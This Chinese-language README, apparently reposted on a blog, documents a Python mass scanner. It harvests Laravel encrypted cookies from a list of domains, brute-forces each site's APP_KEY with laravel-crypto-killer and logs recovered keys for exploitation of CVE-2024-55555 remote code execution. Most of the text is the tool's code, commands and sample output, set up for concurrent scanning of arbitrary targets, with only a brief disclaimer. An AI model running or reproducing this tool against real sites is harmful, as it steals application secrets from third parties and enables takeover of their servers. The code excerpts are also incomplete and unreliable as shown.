Laravel 加密密钥批量扫描与 CVE-2024-55555 漏洞检测工具

Laravel Crypto Killer 批量扫描器

一个高效的批量扫描工具,专门用于检测 Laravel 应用中与 CVE-2024-55555 相关的安全漏洞。该工具通过分析目标站点的加密 Cookie,自动尝试破解 APP_KEY,并验证目标是否存在未认证远程代码执行风险。

功能特性

  • 批量域名扫描 :从 list.txt 读取目标列表,支持高并发检测
  • 智能 Cookie 分析 :自动排除 XSRF-TOKEN,选择最长的 Cookie 值作为加密会话数据
  • 密钥破解集成 :调用 laravel-crypto-killer 进行离线暴力破解,还原 APP_KEY
  • 结果持久化 :成功破解的密钥以 域名|base64:密钥 格式保存至 result.txt
  • CVE-2024-55555 专项检测 :专注于 Invoice Ninja 等 Laravel 应用中因 APP_KEY 泄露导致的 RCE 漏洞

安装指南

系统要求

  • Python 3.6 或更高版本
  • 可访问互联网(用于发送 HTTP 请求)

依赖项安装

bash 复制代码
# 克隆项目
git clone https://github.com/your-repo/laravel-crypto-mass-scanner.git
cd laravel-crypto-mass-scanner

# 安装 Python 依赖
pip install requests

配置 laravel-crypto-killer

本工具依赖 laravel-crypto-killer 进行密钥破解,请先完成其安装:

bash 复制代码
git clone https://github.com/synacktiv/laravel-crypto-killer.git
cd laravel-crypto-killer
pip install -r requirements.txt

注意 :确保 laravel_crypto_killer.py 文件与扫描脚本在同一目录下,或已正确配置系统路径。

准备字典文件

laravel-crypto-killer/wordlists/ 目录下准备常用 APP_KEY 字典(格式为 base64: 开头的密钥字符串)。

使用说明

基础用法

  1. 准备目标列表
    创建 list.txt 文件,每行一个域名(无需协议前缀):

    example.com
    invoice.ninja.target.com
    laravel-app.example.org

  2. 运行扫描脚本

bash 复制代码
python3 mass_laravel_crypto_bruteforce.py
  1. 查看结果

成功破解的密钥将输出到终端并保存至 result.txt

bash 复制代码
[+] Key found for example.com: base64:RR++yb2rJ9kdtbrh3+AmbHLDtu+Q79i++co9Y8ybbno=

核心工作流程

  1. 脚本读取 list.txt 中的域名
  2. 对每个域名发送 HTTP 请求,获取响应中的 Cookies
  3. 排除 XSRF-TOKEN,选择值最长的 Cookie 作为加密会话
  4. 调用 laravel_crypto_killer.py bruteforce 子命令尝试破解
  5. 从破解输出中提取 Key,若成功则保存结果

API 概览

函数名 说明
normalize_url(domain) 为域名添加 https:// 协议前缀
extract_likely_token(cookies) 从 Cookies 中选择最可能的加密令牌
bruteforce_token(token) 调用 laravel-crypto-killer 进行破解
extract_key(output) 从破解输出中提取 base64: 格式的密钥
check_domain(domain) 单个目标检测的完整流程
main() 主函数,支持线程池并发扫描(默认 10 线程)

核心代码

python 复制代码
def extract_likely_token(cookies):
    """
    从响应 Cookies 中提取最可能包含加密数据的令牌。
    排除 XSRF-TOKEN,选择值长度最长的 Cookie。
    """
    token_candidates = {
        k: v for k, v in cookies.items()
        if k.upper() != "XSRF-TOKEN"
    }
    if token_candidates:
        likely = max(token_candidates.items(), key=lambda item: len(item[1]))
        return likely[1]
    return None

2. 密钥暴力破解调用

python 复制代码
def bruteforce_token(token):
    """
    调用 laravel-crypto-killer 工具对令牌进行离线破解。
    执行命令: python3 laravel_crypto_killer.py bruteforce -v <token>
    """
    try:
        cmd = [
            "python3",
            "laravel_crypto_killer.py",
            "bruteforce",
            "-v",
            token
        ]
        result = subprocess.run(cmd, capture_output=True, text=True)
        return result.stdout
    except Exception as e:
        return str(e)

3. 结果解析与保存

python 复制代码
def extract_key(output):
    """
    从 laravel-crypto-killer 的输出中提取破解得到的 APP_KEY。
    匹配格式: Key : base64:xxxxxxxx
    """
    match = re.search(r"Key\s*:\s*(base64:[A-Za-z0-9+/=]+)", output)
    return match.group(1) if match else None

def check_domain(domain):
    """
    单个域名的完整检测流程:
    1. 发送请求获取 Cookie
    2. 提取加密令牌
    3. 调用破解工具
    4. 保存成功的密钥到 result.txt
    """
    url = normalize_url(domain)
    response = requests.get(url, headers=headers, timeout=10)
    token = extract_likely_token(response.cookies)
    if token:
        output = bruteforce_token(token)
        key = extract_key(output)
        if key:
            domain_name = urlparse(url).netloc
            with lock:
                with open(result_file, "a") as f:
                    f.write(f"{domain_name}|{key}\n")

4. 并发扫描主函数

python 复制代码
def main():
    with open("list.txt", "r") as f:
        targets = [line.strip() for line in f if line.strip()]

    # 使用线程池实现并发,max_workers 控制并发数
    with ThreadPoolExecutor(max_workers=10) as executor:
        executor.map(check_domain, targets)

关于 CVE-2024-55555

  • 漏洞类型:未认证远程代码执行 (Unauthenticated RCE)
  • 受影响产品:Invoice Ninja 及配置不当的 Laravel 应用
  • 根本原因APP_KEY 可被猜测或已知,攻击者可加密恶意 payload 触发反序列化
  • 官方参考Synacktiv 安全公告

免责声明

本工具仅用于教育目的和授权安全测试。未经明确许可,严禁对任何系统使用本工具。用户须自行承担因使用本工具造成的一切法律责任。 6HFtX5dABrKlqXeO5PUv/6BpsvITrVoO3TPOqAaF6Oc=

相关推荐
92year2 小时前
CloakBrowser 实测:源码级反指纹浏览器到底能过几道关
aigc
Keano Reurink2 小时前
SEO数据管道:用Airflow搭建自动化工作流
运维·人工智能·爬虫·搜索引擎·自动化·ai编程·seo
生成论实验室2 小时前
用事件关系网络重新理解AI(二):损失函数、优化器与深度学习的动力学
数据结构·人工智能·深度学习·算法·语言模型
韦胖漫谈IT2 小时前
提示词注入- 大语言模型 OWASP TOP 10系列
网络·人工智能·语言模型·大模型安全·owasp
HIT_Weston3 小时前
93、【Agent】【OpenCode】edit 工具提示词(二)
人工智能·agent·opencode
xingyuzhisuan3 小时前
2026年GPU租用平台JupyterHub多用户环境配置
服务器·人工智能·jupyter·gpu算力
生成论实验室3 小时前
事件、信息荷与六维态势空间——每一个事件都是一次空间的弯曲
人工智能·算法·语言模型·可信计算技术·安全架构
Zevalin爱灰灰3 小时前
智能控制 第五章——神经网络控制论
人工智能·神经网络
韦胖漫谈IT3 小时前
供应链 - 大语言模型 OWASP TOP 10系列
人工智能·语言模型·自然语言处理